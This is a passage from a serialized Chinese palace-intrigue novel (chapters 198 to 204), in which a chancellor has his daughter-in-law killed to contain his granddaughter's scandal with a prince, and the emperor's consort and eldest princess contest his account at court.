他站起身,背着手朝外走去,口中冷冷道:“祖父准你再见张氏一面,之后就回到你的房间里再不许出门。自会有大夫为你治伤……明日御前祖父有法子应对,馨儿莫怕,该争取的祖父一定会为你争取……皇子又如何?!高氏不可任人欺辱,陛下和礼王若不给个满意的答复,祖父绝不善罢甘休!” 走至门口,高子霖忽的顿了脚步。他微微转过身,朝坐在地上、双目中燃烧着熊熊怒火的高若馨寒声提醒道:“照顾好自己,也莫要做傻事,要不然你娘就白死了!” 闻言高若馨的瞳孔如被针刺般狠狠一缩,她忽的昂起头,嘶声力竭吼了一声:“祖父当真如此无情?!” 高子霖笑的讽刺,“是你胆小畏死、只敢眼睁睁看着母亲代自己受过却不敢承担后果,怎地反过来说我无情?!” 说完他摇了摇头,这才抬腿往前院走,口中喃喃道:“张氏护了你一辈子,谁料到头来却养出个不知感恩的混账东西来……” 外头的天阴的厉害。 高若馨喘不上气,只觉头重脚轻、冷汗一直流;待到那人的身影消失在视野之外,她的呼吸愈发急促,迷迷糊糊间耳边仿佛传来一声凄厉的尖叫,高若馨的心猛地一抽,整个人忽的一头栽到在地…… 堂外的侍女小厮见状互相递了个眼色,这才慢吞吞走上前来,半托半抱的抬着人往后院去了。 第一百九十九章 丞相夫人 天边又传来几声闷雷,屋内憋闷的要命,明堂内一抹淡青色的身影却定定跪于神像面前,虔诚的祷告着。 也不知过了多久,明堂的门被人轻轻推开,孙婆婆轻手轻脚的来至那人身边,低声道:“老夫人,都打探清楚了!” 闻言,早生华发的周夫人身形动也未动,悄声道:“那边真对张氏动手了?!” 孙婆婆点了点头,“好歹是大妇,相爷就那么让人拿白绫将她的脖子生生勒断,奴婢听着都觉得瘆人……” 周氏夫人默然道:“是何人动的手?” 孙婆婆瞥了眼她的神色,这才小心翼翼道:“是、是申嬷嬷……” 周氏夫人倏然睁开双眼,扯着嘴角冷冷道:“是她?!老身没看错,她果然是个阴狠的!” 孙婆婆忙道:“这淫妇缠了相爷这么多年竟还不肯罢休,夫人合该早将此人除去才是……” 周氏夫人伸出手、孙婆婆忙垂首扶着她直起身;待为神像上完香,周夫人这才道:“那女子是个有手腕的,又着实有几分功夫在身上,岂是这么容易除掉的?再说我已是侍奉神尊之人,想让我再去造孽、高子霖那老贼也配!” 孙婆婆忙道:“可奴婢瞧着那申姓妇人不是个安分的,夫人您清修这几年她竟渐渐掌控了整座相府,奴婢实在是怕……” 周夫人跨出明堂朝卧房走去,口中不咸不淡道:“你怕什么?且不说她只生了个丫头、还养在外头,便是生了个儿子出来,也断不可能危及我的地位!便是老贼再钟情、高家的女主人也只能是出身世家大族的本夫人来做!” “炯儿如何了?” “大老爷被老爷锁在房中,连大夫人最后一面都没见到!” 周氏闻言淡淡点了点头,“他倒是思虑周全,炯儿性格莽撞,若真让他见到张氏、是无论如何也不会叫她死的……” 孙婆婆偷偷瞄了眼周夫人,低声道:“大老爷着实可怜——他中年丧妻、女儿又这般不叫人不省心……老夫人,你可一定要帮帮大老爷啊;还有孙小姐,谁知道相爷要如何处置她!大夫人生前对您极为敬重,如今她人去了,孙小姐只有靠您看顾了……” “老大地位稳固,他是高家未来继承人,高子霖是无论如何也要保下他的;至于若馨嘛……” 周氏难掩倦色的轻轻打了个哈欠,朝着孙婆婆看了看,勾着唇笑道:“怎么, 那丫头竟求到你头上了?” 孙婆婆闻言微微一笑,“孙小姐的能耐老夫人是知道的,今日她一归家便派人给老奴送了厚礼,只求老奴能在您面前说上几句好话;说到底放眼整个相府,能在相爷面前为孙小姐说上话的,也唯有夫人您了!” 孙婆婆说着朝周氏晃了晃腕上一对成色上好的玉镯,轻声笑道:“您瞧这镯子玉质温厚、颜色通透,当真价值不菲,老奴既收了礼又岂会不替孙小姐说话呢?” 周氏夫人叹了口气,“那丫头的聪慧像极了老贼,只可惜偏不往正地方用……好你个老货,得了便宜还卖乖,赶紧将东西收起来吧。” 主仆二人一路说着回到了寝房。 屋内唯一个丫头,除此之外再无一个奴婢伺候。 孙婆婆一边服侍周夫人梳洗,一边问道:“老夫人真的不帮孙小姐一把?” 周氏换上寝服,这才躺在床上任由大丫头梅香用玉露浆为她敷面,口中淡淡道:“我如今在府中清修,除那两个不争气的儿子、这相府的一切事务再与我无关;儿孙自有儿孙福——若馨那丫头太过折腾,我曾叫梅香去劝过她几回;她既不听我的话,我又何必为了她的事自寻烦恼?” “她先是得罪了长公主、又招惹了大皇子,这般能折腾的孩子岂是我一介行将就木的老妇救得了的?!” 周夫人幽暗的双目望向床顶,喃喃道:“自打我嫁给他那一刻就算到那一天迟早会来,若不是为了炯儿和衡儿,我早就住到山里去了,又怎会为这样的世俗之事缠累……” “这泼天的贵本是我周家的,高子霖是个彻头彻尾的小人,就凭他那点德行如何受得住这偌大的家业……他多行不义,只恐连累儿孙啊……” 见周夫人沉沉睡去,梅香这才轻手轻脚的为她擦去脸上的玉露浆,随后将窗帘放下,与孙婆婆蹑手蹑脚的退了出去。 ----------------- 轰隆隆! 一个撼天动地的闷雷炸裂开来! 高若馨由昏迷中惊醒。 她猛地坐起身,浑身被汗水浸透,衣服贴在身上湿哒哒的难受极了,她忙不迭呼喝起来—— “柳儿、丰儿,替我更衣。” 喊了半晌却无人应答,高若馨实在难受,只得起身下了床,自己去外间倒水。 外间四下里并无一人,高若馨这才想起柳儿和丰儿已被申嬷嬷押走,她不由的怒从中来—— 身为相府嫡小姐,她房里的丫头本不下七八个;可申嬷嬷那老妇惯会拿着鸡毛当令箭,凭什么将伺候她的人都支走了?! 高若馨疾步走到卧房门口,一把将房门拉开,却见外头站着两个身强力壮的婆子,竟是申嬷嬷的手下! 高若馨心下一慌,忙不迭质问道:“你们将我屋里的丫头弄到哪里去了?如今本小姐身边连个端茶递水的人都没有,你们到底要干什么?” 一个婆子闻言冷笑道:“姑娘您就安生些吧!您如今是个什么光景咱们心知肚明,何必再耍小姐脾气?实话跟您说,相爷动了大气,说您身旁的丫头都是不知规劝主子走正路的愚仆。除了两三个贴身丫头外、余者都叫人牙子发卖了。至于奴婢们,则是奉命看管小姐的,管不得端茶递水这些俗务。” 高若馨气不打一处来,昂着头道:“壶里没水了,我自己去拿些来总可以了吧?!” 婆子昂着头道:“相爷有命,小姐不得踏出房门一步!” 高若馨闻言叉着腰骂道:“老刁奴,你们是想渴死我吗?!” 婆子们相视而笑,“要不说小姐是个有福的呢?大夫人还盼着被渴死呢,只可惜被申嬷嬷手中白绫死命一绞,她纤细的脖子竟咔嚓一声被勒断了……” 高若馨犹如被毒蛇狠狠咬了一口,她捂着嘴、豆大泪珠顺着两腮滑落,颤声道:“阿娘她真的、真的……” 婆子狠狠一把将她推入门内,随后猛地将门关上,高声嘲讽道:“是小姐亲手害死了自己母亲,您不记得了吗?” 半空中又一声惊雷。 高若馨失魂落魄的跌坐在地,和着外头滚滚雷声放肆的哭嚎起来—— 阿娘,都是若馨害了你! 你放心,女儿一定会为你报仇的! 第二百章 请罪 大雨下了一宿,天快亮时则变成了微微细雨;高子霖带着一身素服、双眼通红的高炯坐上了相府的马车,默默朝洛阳宫去了。 马车内,父子二人相对无言。 车晃晃悠悠的行了许久,高子霖忽的闭上眼,轻哼一声道:“这副如丧考妣的样子摆早了,你该在陛下面前演这出夫妻情深的大戏才是……” 高炯红着眼、喘着粗气,到底没敢还嘴。 半晌,高子霖才轻叹了一声,“非是为父心狠,馨儿这一回几乎捅破了天——陛下、礼王、宁国公、张家……竟被她齐齐得罪了个遍!为父前后盘算许久,当真唯有张氏的死才能破局……” 高炯红着眼道:“我与她夫妻十余载,身为男子不能回护妻儿,反倒累的结发之人赔上性命,儿子这官做的实在是窝囊……” “够了!” 高子霖低喝一声,“这个丞相为父还能做多久?!你为官也有十年了,却到底少了些城府,若不是为父殚精竭虑,高家早就如昔日的陈氏一族般被陛下扳倒了,哪还轮得着你在此时抱怨?!” 高炯默了默,这才道:“儿子不敢抱怨父亲,只是有些不甘罢了……” 高子霖瞥了他一眼,“人人心中皆有不甘——你以为龙椅上那一位真的事事如意?天真!” “陛下想要大权独揽,可他只有一双眼睛、一颗心,这天下几多大事,就凭他一人、如何顾得过来?!” “臣子自当为陛下分忧,可这一国之政千头万绪,既然臣子们呕心沥血、陛下便不该将国富民强的成果一人独尝;为父绝不做第二个陈嘉尚,只要为父做这丞相一日、高家必是整个大辉最繁盛的家族!” 高子霖说完此话便闭目养神、再不言声。 高炯被震惊的无以复加,他张了张嘴,却什么话也说不出来。 一路无话,待到了宫门外便有侍者打着伞亲来迎接,高子霖下车前回头看了眼大儿子,肃然吩咐道:“此番为父已布置妥当——你我这就往陛下跟前去认罪,我已与成王约好、他一会儿便会带着礼王前来;一众御史和朝臣会来参礼王……” “父亲,您与儿子交个底,馨儿的事你究竟预备怎么办?” 高子霖脚步一顿,“礼王是不会要她的,与张家的婚事又告吹了,我要借着这个由头逼迫陛下夺去商煦鹏的郡王头衔,以‘失德’之名将他彻底踢出储位之争。至于若馨那丫头……先叫她住到道观里去,待日后廷煜登基会给她个婕妤之位,她的余生便在宫中度过吧……” 父亲一句话便将女儿后半辈子的幸福抹杀了—— 馨儿顶着“淫乱”这么个名声,即便成王日后登基,也不会对她有什么宠爱,馨儿只能于宫中孤独终老…… 可比起溘然长逝的妻子,这已是馨儿最好的归宿了! 思及此处高炯长叹一声站起身,跟在高子霖身后默默往式乾殿走去。 ----------------- 陆贵嫔正一身盛装于式乾殿外等候。 待辉帝梳洗完毕,大内官施淳才来通报:“启禀陛下,贵嫔娘娘已于殿外等候多时了。” 辉帝稀奇道:“她怎么来了?难不成是听说了昨日发生的事,赶着来为她儿子求情的?” 施淳垂眸摇了摇头,“老奴瞧着不像,贵嫔娘娘面色平和、毫无焦急之相,她带着自己亲手制作的小菜,说要和陛下一同用早膳!” 辉帝闻言微愣,“是朕糊涂了,昨日之事朕不过刚刚从校事处听说,陆氏不过一介后宫妇人,她怎会知道宫外出了什么事……罢了,叫她进来吧。” “陛下昨日可睡得好?” 陆贵嫔今日打扮的甚是端庄,带着一脸笑意、施施然踏入式乾殿;皇帝目光愈加柔和,一边叫人看座,一边道:“贵嫔今日怎么来的这样早?看你笑意盈盈、莫不是有什么喜事要告诉朕?” 陆贵嫔笑道:“臣妾一把年纪,哪还有什么喜事?不过是昨夜睡得香甜,今日早起便心血来潮,想亲手为陛下做些吃食,陛下您可千万别笑话臣妾!” 皇帝冲施淳招手,示意他将陆贵嫔带来的吃食端上桌来,口中温声道:“贵嫔哪里话来,你的一片心意朕高兴还来不及,又怎会嫌弃?来来来,快陪朕一同用膳吧!” 二人才吃了两口,便有小内监进来禀报,说是丞相带着礼部高大人前来求见。 陆贵嫔瞧了瞧皇帝的脸色,忙将手中筷子放下,谦卑道:“想来是高相有政事要禀报陛下,臣妾也用的差不多了,这便回宫了……” 辉帝摆了摆手,“贵嫔莫急,咱们吃咱们的,待会儿便是早朝,高相若真有要事也该在朝上说,犯不着来后宫寻朕;你手艺甚妙,咱们放心吃,高相等上一等无妨!” 陆贵嫔闻言这才定下心来陪皇帝用膳,施淳见状忙垂手退了出去。 待到了殿外才朝高子霖父子道:“陛下与贵嫔正在用膳,有劳丞相大人在此稍等片刻。” 高子霖忙道:“不敢打搅陛下用膳,老臣等着便是……” 正说话间,眼角余光却瞄到高升从外头急急走了进来;待看着施淳转身离去,高升这才凑到高子霖跟前,低声道:“相爷府中出事了——孙小姐贴身的丫头柳儿不见了!” 高子霖的心猛地一沉,迅速回头看了眼身旁的高升;高升被他眼中的寒意吓出一头冷汗,忙不迭道:“柳儿本被灌了药丢入暗牢,申嬷嬷将她看的牢牢的。这一宿暗牢静悄悄的毫无动静,期间下人们还进去送过几次水,人也一直都在,谁料今早相爷带着大老爷前脚刚出门,后脚人就不见了!” “申嬷嬷带着暗人们将府中翻了个底朝天,也没有找到柳儿的下落……” 他走后柳儿才不见,是不是太巧了?! 柳儿不过是个手无缚鸡之力的小丫头,若没有人施以援手、如何能从守卫森严的相府暗牢逃出去? 怕是有人故意了…… 陆贵嫔敢在今日早上陪皇帝用膳,难道也是凑巧?! 冥冥之中高子霖嗅到了一丝危险的味道;可他毕竟是见过大风浪之人,细细盘算了一番,觉得自己的计划并无纰漏,这才定了定神、俯身跪了下去—— “臣高子霖携犬子高炯,特来向陛下请罪!” 第二百零一章 发难 “高相这是做什么?有话起来说!” 辉帝看了一眼高子霖父子二人,忙不迭挥手示意二人起身。陆贵嫔一见忙拘谨地站起身,朝着辉帝恭谨禀道:“陛下还有正事要谈,妾身还是先行回避的好。”" 不待辉帝颔首,高子霖却一揖到底:“今日臣所奏之事事涉娘娘,还请娘娘稍后片刻。” 陆贵嫔一脸惊愕:“相爷所奏之事必是国事,与我这一介后宫妇人有何相干?” 她不安地看了一眼辉帝,辉帝不以为然地摆了摆手:“爱妃安心,既然相爷请爱妃稍留,你便安心等候便是。有朕在这里你怕什么?” 陆贵嫔这才略带忐忑地点了点头,不安地坐在了皇帝身边。 她看了一眼跪倒在地的高子霖父子,语带不解道:“今日高大人觐见怎地穿了素服?莫不是周老夫人贵体有恙?” 高子霖忙叩首道:"启禀陛下、贵嫔娘娘,老臣之长媳张氏昨日于府中逝世。她与犬子患难与共十余年,如今她骤然离世,纵使其乃带罪之身,犬子也需为其服素。" 皇帝闻言微怔:“朕听闻高家与张家的婚事就要定了。张氏夫人一向体健,怎地会突然离世?偏丞相说她是带罪之身,这是为何?” 高炯咬了咬牙,到底不愿在亡妻身上加注恶名,只得伏地不起。 高子霖则不慌不忙道:“陛下容禀,昨夜臣之嫡孙女高若馨于芙蓉楼赴宴,与成王、礼王及北狄、南诏使者相谈甚欢,因此席间便多饮了些酒。若馨头晕目眩之际便先行上楼歇息。” “想是太过尽兴,素来海量的礼王也渐渐不胜酒力。殿下紧随其后与若馨上了楼,不久后楼上便传来呼喊打斗之声。楼下侍卫及两国使臣以为礼王殿下遭了刺客,忙不迭叫人报了皇城司及京兆尹府前来捉人。谁料侍卫们在楼上看到的却是礼王殿下与若馨赤身露体的抱在一处……” 陆贵嫔闻言暗自撇了撇嘴:高子霖这个老狐狸,一句话便将自家孙女“淫乱”之名撇了个干干净净。 他句句不提礼王之过,却句句引人遐想—— 礼王身为男子,明明“素来海量”却在见到高若馨上楼休息后突然“不胜酒力”,“紧随其后”的上了楼,不多时便传来了呼救之声—— 高子霖言语间竟是在指责礼王队高若馨用强! 好个老贼! 明明是他高家之女行为不端在先,可他三言两语便将罪名扣在无辜的煦鹏身上!若不是她早有准备,此番遭如此栽赃她早就昏了头脑,哪里还有心思为儿子分辨呢?! 高子霖也不看皇帝的脸色,俯身继续道:“成王见状愤恨不已,忙叫人将臣的孙女送回了府;因事涉皇子声誉,又将愤愤不平的礼王带回了府暂时扣押。只可惜若馨清醒后只会啼哭,任凭臣如何审问也不肯将事实说出。” 他说着朝上叩了个头,沉声道:“女子清白虽重,但皇子之名却不可污!张氏乃若馨之生母,只可惜她教女不严,这才令那丫头犯下大错;为正家风老臣下令将张氏禁足,本想着她得了教训往后便会好好管子女,不再做出如此有辱门风之事。岂料张氏性子刚烈,听闻女儿做出如此不堪之事,一气之下竟一脖子吊死了。” 高炯目中露出哀伤之色,他猛地朝上叩了个头,大声道:“然臣妻已亡,余下之事,臣愿一力承担。还请陛下降罪。” 殿内半晌鸦雀无声。 皇帝不由瞥了眼身旁的陆贵嫔。 若是往常,她听到儿子出了这么大的事,早就慌得不成样子;如今却能神态平和地坐在自己身旁,莫不是早得了消息?! 思及此处便开口问道:“不知爱妃听完丞相所言作何感想?” 陆贵嫔一脸茫然,“丞相的意思是昨日礼王、成王在芙蓉楼宴请两国使臣?臣妾不明白的是,高若馨一介女流,并非朝臣,是怎么加入宴会的?又是谁带她去的?”? “成王乃是高小姐表兄,既有他在席上,为何会让高小姐多饮?高小姐上楼,身为表兄的成王又为何不派人护送?” 陆贵嫔说着,意有所指道:“高小姐乃是京中贵女中的翘楚,平日里多少轻狂浪荡子都想一亲芳泽。高家这朵牡丹花平日里从不肯轻易示人,怎地昨日会贸然外出?成王殿下对表妹如此不管不顾,岂非有意将高小姐置于险境?” “事情发生后成王为何不立刻带着礼王来见陛下,偏将人扣在自己手中?说起来礼王还是成王的皇兄,成王此举是否有失偏颇?” 陆贵嫔说着叹了口气,转头向皇帝道:“ 非是臣妾护着自己的儿子,煦鹏的性子陛下是知道的。他身旁已有两、三位侧妃,皆为出身高贵、样貌出众之人。煦鹏并非好色之徒,怎会喝了几杯酒便不能自已,再说他便是要……也该掩人耳目才是,怎么会弄出那么大的动静、被如此多人看了去?!” “王子与使臣们会面虽是国之常情,可高家的嫡女却不该出现在宴会上!出了这样的丑事,偏礼王被成王扣在府中无法为自己申辩。而今日一早高相便一副兴师问罪之态。依臣妾看这里头大有文章。" “哦?” 辉帝深深看了她一眼,温声道:“你是觉得这里头有隐情?” 陆贵嫔看了一眼跪在地上的高氏父子,不卑不亢地:“此事桩桩件件如此巧合,实在不能不让臣妾生出警惕之心——礼王虽平日里行事冲动,却是耿直性子。臣妾相信自己的儿子绝不会做出如此有违伦理纲常之事。煦鹏是陛下的皇长子,臣妾是怕有人蓄意陷害。” “如若不然那张氏夫人为何非要一脖子吊死了?连她都觉得自己的女儿有罪,陛下难道不应该再查上一查吗?” 伏在地上的高子霖心一沉—— 陆贵嫔平日里不声不响,没想到竟是个难缠的! 第二百零二章 查明真相 “臣的夫人究竟是为何而死?贵嫔心里难道没数吗?” 高炯抬起赤红的双目,怒道:“是礼王他先理亏在前——他强污了小女的清白,臣的夫人实在咽不下这口气,这才一脖子吊死了……” “炯儿还不住口!” 高子霖转过头狠狠斥了儿子一句,这才朝皇帝叩拜道:“陛下莫要听他胡说——有道是‘君为臣纲’,礼王殿下乃皇子,便是开口要臣等赴死、臣等也需欣然前往。此事臣不敢追究殿下之责。” “那丞相此番前来是为了什么呢?” 辉帝冷眼看了一眼高子霖,沉声道:“你的孙女失了清白,你的长媳因此殒命,难道你就不想为她们讨个公道?” 高子霖俯首叩拜道:“君叫臣死、臣不得不死。陛下乃大辉之主,只要陛下一句话,高氏一族便是肝脑涂地也九死不悔。老臣此番入宫,只为恳请陛下定夺——微臣的孙女,到底还该不该活?” 高炯一惊,忙朝他道:“父亲,您是什么意思?” 高子霖对儿子的话置若罔闻,只不卑不亢的朝皇帝问道:“若馨虽说是我高氏血脉,但毕竟尚未出嫁,其母已为此事断了性命。这孩子该如何处置微臣实不敢擅专,唯恐污了皇室威名!若陛下想将此事揭过,微臣这便回去亲手勒死她!” 高炯闻言满眼不可置信,急呼道:“父亲!您怎能如此狠心……” “住口!” 高子霖转头狠狠瞪了他一眼,“陛下面前岂容你胡言?今日只要陛下金口一开,那丫头便死定了!” 高炯满目哀伤,他不明白父亲为何不按之前所说的行事——如今他的发妻已惨死,难道父亲连自己唯一的女儿还不放过吗?! 陆贵嫔闻言长叹一声:“高相此话何意?张氏夫人既已慷慨赴死,我们岂能叫一个未出阁的女子再为此丧命?这事若传出去,我皇室的脸面还要不要?陛下和礼王岂不成了罔顾人命、刻薄寡恩的不义之徒?!” 辉帝闻言亦冷笑连连:“贵嫔说得是——高相所言岂非陷皇室于不义?” 高子霖忙俯身拱手:“臣并无此意!既然陛下慈悲,不愿若馨为此事赔命,臣便替这孩子叩谢陛下恩典!只是她如今不过十五,失了清白后再无人敢娶,依臣看不如送到道观里去,余生与青灯相伴、了此残生吧……” 高炯心头涌起一阵绝望—— 父亲如此谄媚、皇帝又怎会驳斥?这番话便是判了若馨的死刑了! 他有心为女儿说话,却被父亲严厉的眼神吓再原地,只得不甘地低下头,再不敢言语。 陆贵嫔见状便道:“陛下,臣妾以为与其纠结责任,不如先把事情查清楚。昨日在场者寥寥,不若将人挨个问询,好歹将事情的来龙去脉弄个明白——一来不使皇子蒙冤,二来也能为高家小姐正名。” 她说着语带双关道:“高家家教严谨,女眷们声名远播、皆是贞静贤淑之人。便是前些日子在太液池边闹出的那场动静,说到底也不过是场误会。臣妾不明白的是,数月前高家小姐还与表兄在池边互诉衷情,怎地今日突然便与我儿有所纠缠?莫不是真应了那句三心二意、水性……” 高炯愤怒地瞪向陆贵嫔 ——她竟暗示若馨有意勾引礼王?! 太液池之事发生后若馨便落了个“不检点”的名声,陆贵嫔在此时重提此事,竟是在指责他高家女品行淫荡! 馨儿品行是有亏,可礼王就无辜了?! 他忙朝皇帝叩首,急急道:“还请陛下下旨,还我女儿一个清白!” 高子霖皱眉瞪了他一眼——这个蠢儿子,着了人家的道儿竟还不知! 陆贵嫔明显有备而来,一句句引着皇帝追查真相。 他本想以男女之事牵连礼王名声,再用张氏一条人命施压皇帝将礼王废黜,没想到陆贵嫔早就摸透了皇帝的心思,且句句话切中要害! 若任由她继续下去,只怕今日要反落个“构陷皇子”之罪。 不过说到底陛下又能将他如何?! 他高家虽是臣子,但若皇室刻意打压、群臣和百姓反倒更会站在高家这边。到时不仅礼王的名声受损,只怕连皇帝的圣名也要遭人非议。 他就不信皇帝敢如此明目张胆地包庇自己的儿子! 知晓内情者的不过若馨、成王与他身边那个叫柳儿的丫头。柳儿眼下虽逃出了他的掌控,但成王好歹是自己的外孙,今日他们是无论如何也要将礼王拉下马的! 思及此处他定了定神,朝皇帝躬身一拜:“臣也求陛下查明真相。” 皇帝点点头,“你们既都如此说,朕便叫人将此事查个清清楚楚。” “父皇是想问昨日芙蓉楼之事吗?儿臣昨日正好在场,父皇有什么要问的,直接问儿臣便是。” 宫门外响起一阵清冷、嚣张又带着几分疯癫的女声。 皇帝一抬头便见长女商无忧身着一袭红裙,手中提着个十六七岁、衣衫破烂不堪的女子走上殿来。 陆贵嫔见状暗暗松了口气,忙站起身朝一旁的大内官施淳道:“还不赶快给殿下看座!” 一边又殷勤的朝商无忧问道:“殿下用过早膳了吗?今日臣妾亲手做了几个小菜,若殿下不嫌弃的话便一起用些吧!” 商无忧朝她点点头,沉声道:“贵嫔娘娘不必客气。本宫昨日饮了不少酒,今日实在吃不下。娘娘的好意本宫心领了。” 说着转头对施淳道:“随便找些吃的和水来给这丫头——她昨日被人关在地牢里整整一宿,水米未进,又挨了几顿打,连惊带吓的一条命几乎保不住。多亏看守的人懈怠,竟被她寻到机会逃了出来,恰好撞到本宫的车架。” “本宫听闻昨日芙蓉楼的事闹得凶,这丫头是知情人。有什么事父皇只管审问了便是!” 说着朝施淳道:“小心些,千万莫叫她死了。” 施淳赔着笑,指挥两个小内侍上前:“殿下放心,咱家知道轻重。” 第二百零三章 你的伤可都好了? 待看清商无忧手中提着的女子面容,高子霖不由心头火起—— 原来,柳儿这丫头竟是被长公主劫了! 看来,长公主果然对高家心结颇深。 早知如此,就该让淑妃将她永远困死在永巷,或者暗中找人动些手脚将她弄死! 说来也怪他看走了眼! 他为相十年,怎会想到八年前那个疯癫无状、与狗争食又瘦弱不堪的少女竟还有重见天日、重获盛宠的一天?! 两个小太监端来碗稀粥,柳儿忙不迭手脚并用爬起来,贪婪地吮吸着碗中的液体。 高子霖盯着商无忧半晌,这才沉声道:“这个丫头是馨儿的贴身侍婢,因犯了重罪被本相拿下,本想将她送官法办,谁知她竟趁守卫松懈偷偷逃走。如此品行恶劣、毫无感恩之心的恶仆,是怎么落在长公主手中的?本相倒要劝一劝长公主,这种忘恩负义之人不如乱棍打死,如此这世上也能少个搬弄是非之人。” 商无忧慵懒地拨了拨耳边青丝,浑不在意道:“瞧丞相说的,本宫岂是那等恶毒残暴之徒?不过一个十几岁的小丫头,便是手脚不干不净,丞相大人也该赦免她才是,何必张口闭口喊打喊杀?!都说高相素来慈悲,今日所作所为倒教本宫开了眼。” 高子霖冷冷一哼:“本相的慈悲不与极恶之徒!对于这种不识抬举之人,本相从不手软!” 商无忧无聊地打了个哈欠,转头朝辉帝道:“刚刚在外头听着,父皇似是有事要问。昨日是我请北狄和南诏的使者在芙蓉楼赴宴的,成王和礼王都是不请自到;虽说后来儿臣不胜酒力提前离席,可席间的事大部分我都知道!” “原来昨日设宴之人竟是谲儿?” 商无忧大踏步上前寻了个座位,大喇喇坐下后才道:“是啊,女儿昨日与宁国公出门闲逛,谁知半道遇上南诏与北狄的使臣;他们非要我做东,我实在没法子,只得将他们引到芙蓉楼。话说昨日一顿宴席费去我好些银子,大皇兄、二皇兄这样的不速之客,不仅白吃白喝,还给我惹上一屁股麻烦,早知如此,就该叫赵元婴拿板子将他们统统赶走赶走!” 陆贵嫔闻言面色一僵,皮笑肉不笑道:“殿下说笑了、说笑了……” 高子霖眼光微闪,朝皇帝道:“既是询问当日之事,礼王和成王也该一同到场才是,请陛下将二位王爷宣入殿来,咱们三家对质!” 皇帝点头,朝侍臣道:“宣。” 转说罢又头向商无忧温声道:“昨日设宴时谲儿可是一直都在场?” 商无忧将一缕碎发在指尖轻绕,目光盯着手中发丝,一双雪白的足尖轻轻翘起,撇着嘴无聊道:“什么宴会?!实在无趣的紧,不过是互相吹捧,儿臣不喜。再加上那两国使臣对我这个东道之主毫无感激之情,反倒是对二位皇兄颇为亲近,儿臣只觉厌烦!加上伤未痊愈,匆匆饮了几杯后便与宁国公一同归家了。” 辉帝闻言缓了口气:“说起来,你在司命祭礼上受伤不过月余,如今可都好了?” 商无忧垂下头看了看胸前已结痂的伤口,又轻轻动了动肩膀和手脚,皱眉道:“不动时还好些,若是想打拳、踢腿,这伤口便疼得厉害。” 皇帝忙道:“既是伤未好,你便消停些吧!你贵为公主,有什么事吩咐赵元婴或身旁下人去做就好,实在无需事必躬亲。” 商无忧放下指尖的发,朝皇帝撅嘴抱怨:“父皇说的倒轻松,宁国公府中千头万绪,老国公一去,合家子的事竟都要女儿来处置。国公夫人心善面软,史太君又太过强硬,只两个妯娌与我合得来,她们的事我总不好不管……赵元婴又素来对我殷勤,如今女儿已嫁为人妇,如今府中后继乏力,儿臣总要担起府中责任才是。” 辉帝看着她认真的神色不由莞尔,笑呵呵道:“谲儿如今也知道为夫家考量了。” 商无忧不胜其烦地搔了搔头:“宁国公府就是一座烂摊子!父皇不知,前些日子北狄使臣提着老国公父子的人头来府门前挑衅,碰巧赵元婴兄弟都有公事外出,府中一干妇孺被欺负得差点给人跪下来,连史太君都几乎晕了过去。女儿本不想管闲事,可想到出嫁前父皇曾殷殷叮嘱,从今往后要将赵家人当做自家人来看待,既如此儿臣也只得出手相助——将赵家父子的人头抢了回来,却也因此得罪了北狄大王子。” 商无忧说着歪过头,略带迷茫地看着皇帝,试探着道:“事后儿臣也觉得自己行事太过冲动,只怕为父皇招来祸患——我听说北狄十万边军压境,如今我得罪了那大王子,不会叫父皇为难吧?” 辉帝暗自叹息—— 自己这些儿女皆是精于算计之辈,礼王、成王与余下那些公主们无不想着逢迎讨好他,唯有眼前这个曾被他忽视多年的疯癫女儿,会担心自己的所作所为给他惹来麻烦! 谲儿行事决绝任性,却对自己不失恭敬之心,只这份孺慕之情便叫他唏嘘不已。 当下便道:“我儿不必担心,北狄此番挑衅委实太过,宁国公父子乃是我大辉忠臣,若教他父子二人的头颅流落在外,父皇也没法向满朝文武交代。我儿此举,倒是为父皇解了后顾之忧。” 商无忧闻言神色稍松,这才点了点头:“如此甚好。” “成王、礼王到 ——” 随着侍臣一声唱和,神色端庄的成王和略显狼狈的礼王联袂走进殿来。 “儿臣叩见父皇。” 见他二人跪于地面,辉帝这才冷冷道:“昨夜你二人睡得可好?” 成王向上拱手:“昨夜几乎将我大辉皇族的脸面丢尽,儿臣如何睡得着?” 礼王闻言勃然大怒,寒声道:“好你个商廷煜,竟敢将皇兄扣于府邸,到底是何居心?我看就是你与那高家女子联手陷害我!” 第二百零四章 还嫌丢人丢的不够吗? “大皇兄这叫什么话?难不成是我叫人将醉酒的皇兄带上楼的?!是我将你硬塞在若心床上、剥光衣服的?!还是说,我派人将京兆衙门和皇城司的人引来,故意泄露你的丑事?!” 成王义正言辞地看着满脸愠色的礼王,冷冷道:“皇兄自己做错了事,却将过错都推到本王头上,不觉得太过分了吗?” “我是你皇兄!你怎么敢私自将我扣在府中?” “皇兄又如何?本王乃是亲王,等级比你高。你做出这等错事,难不成还要放你出去惹人笑话?” “混账!你怎么跟皇兄说话?”、…… “都给朕闭嘴!” 听到皇帝的大喝,成王和礼王这才齐齐闭了嘴。 礼王却犹嫌不足,依旧恶狠狠的瞪着成王。 皇帝伸手点着衣衫不整、鬓发松散的礼王数落道:“看看你像什么样子?我商氏一族的脸面都叫你丢尽了!你平日里好色,朕何曾约束过?瞧瞧你身旁那三个侧妃,哪个不是貌美如花、仪态万方?你竟还不知足,四处沾花惹草——高相乃是大辉肱骨之臣,你竟将手伸到高家去,就不怕有损朕的江山?” 这话分量极重! 礼王忙不迭道:“父皇,儿子是冤枉的!高若馨那人尽可夫的贱妇我岂会看得上?当年她与张子昂在太液池边的丑事传得人人皆知,儿子便是再糊涂也断不可能与这般淫荡的女子有染!实在是她居心叵测、蓄意勾引儿臣,甚至不惜在儿臣酒中下药!” “有人刻意构陷儿臣,父皇千万不要误中他人圈套啊!” 他气愤的指着高子霖,恶狠狠道:“高相,你的心肠实在太狠毒了!本王到底什么地方得罪你了,竟让你舍得拿自己嫡亲的孙女清白之躯来污本宫清白?!便是要捧着你的外孙登上太子之位,你也不该如此对待本王!本王好歹是父皇的儿子,你如此行事岂有将父皇放在眼里?” 成王忙将话头接过:“皇兄莫要血口喷人!若馨乃是丞相的掌上明珠,高家与张家亲事在即,丞相怎会以自己嫡亲孙女的清白来污蔑你?分明是你见色起意、意图不轨,几杯酒下肚便难掩色心,非要当着两国使臣的面行不轨之事。被本王撞破丑事之后还不知收敛,当时情景城隍司与京兆府众人皆可见证,你否认不了!” 礼王恼羞成怒地站起身,指着成王的鼻子大骂:“你还敢提此事?楼上明明什么动静都没有,你却使人叫了那么多人来看本宫的笑话,还敢说不是提前设计好的?” 